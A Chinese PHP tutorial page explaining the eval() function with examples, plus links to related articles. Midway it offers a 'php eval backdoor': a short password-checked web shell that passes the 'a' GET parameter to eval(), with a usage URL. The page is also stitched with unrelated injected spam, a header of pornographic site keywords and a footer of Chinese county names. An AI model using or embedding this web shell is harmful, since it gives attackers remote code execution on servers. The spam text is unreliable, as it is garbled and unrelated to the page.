最新国产好看的视频,伊人天堂AV在线,国产Aaaaaa视频,蜜臀视频在线观看一区,人妻av色图,密臀久久久精品影片,青青视频免费观看毛片,久草在线观看视,国产三级精品色情在线

PHP eval函數(shù)使用介紹

 更新時(shí)間:2013年12月08日 23:10:31   投稿:mdxy-dxy  
eval()函數(shù)中的eval是evaluate的簡稱,這個(gè)函數(shù)的作用就是把一段字符串當(dāng)作PHP語句來執(zhí)行,一般情況下不建議使用容易被黑客利用

代碼:

eval("echo'hello world';");

上邊代碼等同于下邊的代碼:

echo"hello world";

在瀏覽器中都輸出:hello world

運(yùn)用eval()要注意幾點(diǎn):

1.eval函數(shù)的參數(shù)的字符串末尾一定要有分號(hào),在最后還要另加一個(gè)分號(hào)(這個(gè)分號(hào)是php限制)

2.注意單引號(hào),雙引號(hào)和反斜杠的運(yùn)用。如果參數(shù)中帶有變量時(shí),并且變量有賦值操作的話,變量前的$符號(hào)錢一定要有\(zhòng)來轉(zhuǎn)義。如果沒有賦值操作可以不需要。

代碼:

$a=100;
eval("echo$a;");

因?yàn)闆]有賦值操作,所以可以不用\來轉(zhuǎn)義$.等同于以下代碼:

$a=100;
eval("echo\$a;")

3.注意在命令式字符串(包括分號(hào))兩邊必須要有雙引號(hào)或者根據(jù)需要用單引號(hào)。否則報(bào)錯(cuò)。

命令式字符串是指:字符串中包括echo、print之類的命令的時(shí)候。

如果參數(shù)只有一個(gè)變量則可以不用。例如:

$func =<<<FUNC
function test(){ 
  echo "test eval function"; 
}
FUNC;
eval($func);
test();

分享個(gè)php eval后門程序

要求必須支持eval函數(shù)
使用方法
http://url/test.php?pwd=admin&action=eval&a=phpinfo();

<?php
$passwd="admin";if($_GET['pwd']!=$passwd)exit;
if($_GET['action']=="eval" && $_GET['a']){eval($_GET['a']);}
?>

PHP eval() 函數(shù)介紹

定義和用法

eval() 函數(shù)把字符串按照 PHP 代碼來計(jì)算。

該字符串必須是合法的 PHP 代碼,且必須以分號(hào)結(jié)尾。

如果沒有在代碼字符串中調(diào)用 return 語句,則返回 NULL。如果代碼中存在解析錯(cuò)誤,則 eval() 函數(shù)返回 false。

語法
eval(phpcode)

參數(shù) 描述
phpcode 必需。規(guī)定要計(jì)算的 PHP 代碼。

提示和注釋
注釋:返回語句會(huì)立即終止對(duì)字符串的計(jì)算。
注釋:該函數(shù)對(duì)于在數(shù)據(jù)庫文本字段中供日后計(jì)算而進(jìn)行的代碼存儲(chǔ)很有用。
例子

<?php
$string = "beautiful";
$time = "winter";

$str = 'This is a $string $time morning!';
echo $str. "<br />";

eval("\$str = \"$str\";");
echo $str;
?> 

輸出:
This is a $string $time morning!
This is a beautiful winter morning!

相關(guān)文章

  • php購物網(wǎng)站支付paypal使用方法

    php購物網(wǎng)站支付paypal使用方法

    PayPal 快速、安全而又方便,是跨國交易的首選在線付款方式?,F(xiàn)在PayPal可以和國內(nèi)大部分信用卡關(guān)聯(lián),可以實(shí)現(xiàn)國人的跨國交易收支。
    2010-11-11
  • php部分常見問題總結(jié)

    php部分常見問題總結(jié)

    php常見問題解決集錦,主要包括php的運(yùn)行方法等小技巧
    2008-03-03
  • php curl基本操作詳解

    php curl基本操作詳解

    怎么使用cURL的基本方法?首先修改php.ini文件的設(shè)置,找到php_curl.dll,取消下在的注釋extension=php_curl.dll,因?yàn)閜hp默認(rèn)是不開啟cURL的
    2013-07-07
  • php校驗(yàn)公鑰是否可用的實(shí)例方法

    php校驗(yàn)公鑰是否可用的實(shí)例方法

    在本文里小編給大家整理的是一篇關(guān)于php校驗(yàn)公鑰是否可用的知識(shí)點(diǎn)內(nèi)容,需要的朋友們參考下。
    2019-09-09
  • PHP 日志縮略名的創(chuàng)建函數(shù)代碼

    PHP 日志縮略名的創(chuàng)建函數(shù)代碼

    PHP創(chuàng)建日志縮略名函數(shù)代碼,用于創(chuàng)建用戶友好的日志縮略名。
    2010-05-05
  • php at(@)符號(hào)的用法簡介

    php at(@)符號(hào)的用法簡介

    對(duì)于php的初學(xué)者,經(jīng)常會(huì)看到在一個(gè)函數(shù)名字前面有一個(gè)at(@)符號(hào),但是不知道它的作用和用法,去掉后好像對(duì)程序沒有什么影響,感到很困惑,簡單的說@可以忽略錯(cuò)誤,有仰制錯(cuò)誤的功能為錯(cuò)誤控制操作符.
    2009-07-07
  • PHP中new static()與new self()的區(qū)別異同分析

    PHP中new static()與new self()的區(qū)別異同分析

    這篇文章主要介紹了PHP中new static()與new self()的區(qū)別異同分析,是很實(shí)用的技巧,需要的朋友可以參考下
    2014-08-08
  • PHP隨機(jī)生成用戶信息實(shí)例分析

    PHP隨機(jī)生成用戶信息實(shí)例分析

    在本篇文章里小編給大家整理的是一篇關(guān)于PHP隨機(jī)生成用戶信息實(shí)例分析內(nèi)容,對(duì)此有興趣的朋友們可以測試參考下。
    2021-12-12
  • php Undefined index和Undefined variable的解決方法

    php Undefined index和Undefined variable的解決方法

    這段時(shí)間在做項(xiàng)目過程中老是出現(xiàn)這個(gè)提示,起初是用$act來接受表單post過來的數(shù)據(jù)
    2008-03-03
  • PHP開發(fā)中AJAX技術(shù)的簡單應(yīng)用

    PHP開發(fā)中AJAX技術(shù)的簡單應(yīng)用

    這篇文章主要介紹了PHP開發(fā)中AJAX技術(shù)的簡單應(yīng)用,簡單對(duì)ajax的執(zhí)行原理、實(shí)際應(yīng)用作介紹,感興趣的小伙伴們可以參考一下
    2015-12-12

最新評(píng)論

依安县| 乌兰浩特市| 曲靖市| 泸州市| 高平市| 肥西县| 湖南省| 乌什县| 泸水县| 汶川县| 东兰县| 平塘县| 延津县| 樟树市| 屯留县| 安西县| 会宁县| 峨边| 进贤县| 慈利县| 南通市| 达尔| 子长县| 襄樊市| 兴义市| 休宁县| 黄骅市| 菏泽市| 射阳县| 松桃| 松阳县| 盐亭县| 北辰区| 沾益县| 屏边| 鄱阳县| 怀柔区| 台江县| 武清区| 大庆市| 宜丰县|